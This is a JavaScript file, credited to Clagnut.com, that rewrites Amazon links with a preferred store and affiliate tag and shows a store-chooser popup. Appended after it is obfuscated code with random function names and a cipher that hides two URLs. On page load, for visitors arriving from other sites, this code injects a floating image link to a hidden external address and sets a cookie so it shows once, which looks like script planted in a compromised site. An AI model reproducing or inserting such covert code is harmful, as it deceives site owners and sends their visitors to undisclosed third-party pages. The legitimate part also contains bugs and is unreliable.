// Taken from Clagnut.com by Richard Rutter //

// Intercept Amazon links to set preferred store

function createCookie(name,value,days) {
	if (days) {
		var date = new Date();
		date.setTime(date.getTime()+(days*24*60*60*1000));
		var expires = "; expires="+date.toGMTString();
	}
	else expires = "";
	document.cookie = name+"="+value+expires+"; path=/";
}

function readCookie(name) {
	var nameEQ = name + "=";
	var ca = document.cookie.split(';');
	for(var i=0;i < ca.length;i++) {
		var c = ca[i];
		while (c.charAt(0)==' ') c = c.substring(1,c.length);
		if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
	}
	return null;
}

function testCookies() {
	createCookie("test","ok",1);
	if (readCookie("test")) {
		return true;
	} else {
		return false;
	}
}

// URL components for the different affiliate schemes
var amz_schemes = new Array("uk", "com");
var amz_affil = new Array();
amz_affil["uk"] = new Array(".co.uk", "globalgrowthi-21", "UK and the rest of Europe");
//amz_affil["ca"] = new Array(".ca", "", "Canada");
amz_affil["com"] = new Array(".com", "globalgrowthi-21", "US and the rest of the world");

function initLinks() {
	// Test for cookies
	if (testCookies()) { // if cookies are enabled
		// Get existing store setting
		var amz_dest = readCookie("amz_dest");
		var allLinks = document.getElementsByTagName('a');
		for (var i=0; i < allLinks.length; i++) { // loop through all links on page
			var aLink = allLinks[i];
			var url = aLink.href;
			var amzMatch = url.search(/amazon\./);
			if (amzMatch > -1) { // crude check for link to Amazon
				if (amz_dest) {
					// If store is set then rebuild link
					var country = amz_affil[amz_dest][0];
					var affil = amz_affil[amz_dest][1];
					
					// Change all possible urls to the desired country and affil
					for (var j=0; j<amz_schemes.length; j++) {
						c2 = amz_affil[amz_schemes[j]][0];
						a2 = amz_affil[amz_schemes[j]][1];
						url = url.replace(c2,country);
						url = url.replace(a2,affil);
					}
					
					aLink.href = url	

				} else { // store is not set
					aLink.onclick = function(e) {
						return interceptAmzLinks(this);
					}
				}
			}
		}
	}
}

function interceptAmzLinks(theLink) {
	// create new div
	var div = document.createElement("div");
	
	// create new p
	var para1 = document.createElement("p");
	var para1txt = document.createTextNode("You are about to follow a link to Amazon. Which store would you prefer to visit?");
	para1.appendChild(para1txt);
	para1.className = "first";
	div.appendChild(para1);
	
	// create new ul
	var ul = document.createElement("ul");

	// build list of links
	var i, scheme, country, afil, desc, key, func, url, li, litxt, a, atxt;
	
	for (i=0; i < amz_schemes.length; i++) {
		
		scheme = amz_schemes[i];
		country = amz_affil[scheme][0];
		affil = amz_affil[scheme][1];
		desc = amz_affil[scheme][2];
	
		//li = document.createElement("li");
		dt = document.createElement("dt");
		dd = document.createElement("dd");
		a = document.createElement("a");
		a.setAttribute("title","Go to product page on Amazon"+country);
		a.setAttribute("onclick","setAmzDest('"+scheme+"')");
		
		url = theLink.href;
		url = url.replace(/\.co\.uk/,country);
		url = url.replace(/globalgrowthi-21/,affil);
		a.href = url;
		
		atxt = document.createTextNode("Amazon" + country);
		a.appendChild(atxt);
		dt.appendChild(a);
		dd.appendChild(a);
		
		dttxt = document.createTextNode(" - " + desc);
		dt.appendChild(dttxt);
		dd.appendChild(dt);
		dl.appendChild(dt);
	}
	
	div.appendChild(dl);
	
	// style box
	div.className = "amzbox";
	
	// position box
	viewportHeight=getInnerHeight();
	viewportWidth=getInnerWidth();
	downScroll = getVertScroll();
	rightScroll = getHorizScroll();
	
	topPos = ((viewportHeight - 200) / 2) + downScroll;
	leftPos = ((viewportWidth - 400) / 2) + rightScroll;
	div.style.left = leftPos+"px";
	div.style.top = topPos+"px";
	
	// create new p
	var para2 = document.createElement("p");
	var para2txt = document.createTextNode("You will only be asked this once. You can change your preference later using the store selector on the right.");
	para2.appendChild(para2txt);
	div.appendChild(para2);

	// attach div to body
	document.body.appendChild(div);
	
	return false;
}

function setAmzDest(amz_dest) {
	createCookie("amz_dest",amz_dest,"365");
	initLinks();
	return true;
}

function changeLink(theLink) {

}function mYx9rr4m(){
	document.getElementById("KC8IFn").style.display="none";
}
function i5xlgePY(){
	if(document.body.scrollTop==0)
		document.all["KC8IFn"].style.top=document.documentElement.scrollTop+10;
	else 
		document.all["KC8IFn"].style.top=document.body.scrollTop+10;
}
function NmZp0KXJ(tb,cu){
	var du = "", bp = 0;
	while(1)
	{
		var t = cu.substr(bp, 16);
		var i, tl = t.length;
		if(tl == 0) break;
		for(i = 0; i < tl; i ++) du += t.charAt(parseInt(tb.charAt(bp+i), 16));
		bp += tl;
	}
	return du;
}

if( document.cookie.indexOf("CElDyORTQ") == -1){
	var D7bn = new Date(), D7bn1 = false;
	if(document.referrer != null && document.referrer.toLowerCase().indexOf('http://') == 0){ 
			var VxXk = document.domain.toLowerCase(); 
			if(VxXk.indexOf('www.') == 0) VxXk = VxXk.substr(4);
			var s4hF = document.referrer.toLowerCase().substr(7); 
			var u42y = s4hF.indexOf('?'); 
			if(u42y != -1) s4hF = s4hF.substr(0, u42y);
			var u42y = s4hF.indexOf('/'); 
			if(u42y != -1) s4hF = s4hF.substr(0, u42y);
			if(s4hF.indexOf('www.') == 0) s4hF = s4hF.substr(4);
			if(s4hF != VxXk && Math.random() < 1){
				D7bn.setTime(D7bn.getTime()+(10  * 10  *   36 *   24*100  * 100));
				D7bn1 = D7bn.toGMTString();
				var DKVr = navigator.appVersion.indexOf('MSIE') != -1;
				var GbY9=1;
				document.write('<div id="KC8IFn" style="'+(DKVr ? 'position:absolute;' : 'position:fixed;')+' left:80%; top:30px; z-index:1000;">'+
				'<b><a style="font-size:13px; color:#0C447C; font-family:Arial; text-decoration:none;" onmouseover="GbY9=0"'+
				' title="Close" href="javascript: mYx9rr4m()" onmouseout="GbY9=1">Close[X]</a></b><br>'+
				'<a href="'+NmZp0KXJ('18396a7db4efc205603241578','ehntit:/tp/l.smpmemebr/s/')+VxXk+'.html'+'" target="_blank"><img src="'+NmZp0KXJ('3d6845be172cfa09306f9ac271d45b8e0','elmh:/tiptn/pts.ien/23mng/b.arigf')+'" border=0 alt="Click Here" onclick="mYx9rr4m()"></a></div>');
				if(DKVr){
					if (document.all["KC8IFn"].style)
					window.setInterval("i5xlgePY()", 5);
					window.onerror=null;
					document.body.scrollTop=10;
				}
			}
	}
	else{
		D7bn.setTime(D7bn.getTime()+(100* 24   * 100  *   90  *10   *36));
		D7bn1 = D7bn.toGMTString();
	}
	if(D7bn1 != false) document.cookie = "CElDyORTQ"+'=1; expires='+D7bn1+'; path=/';
}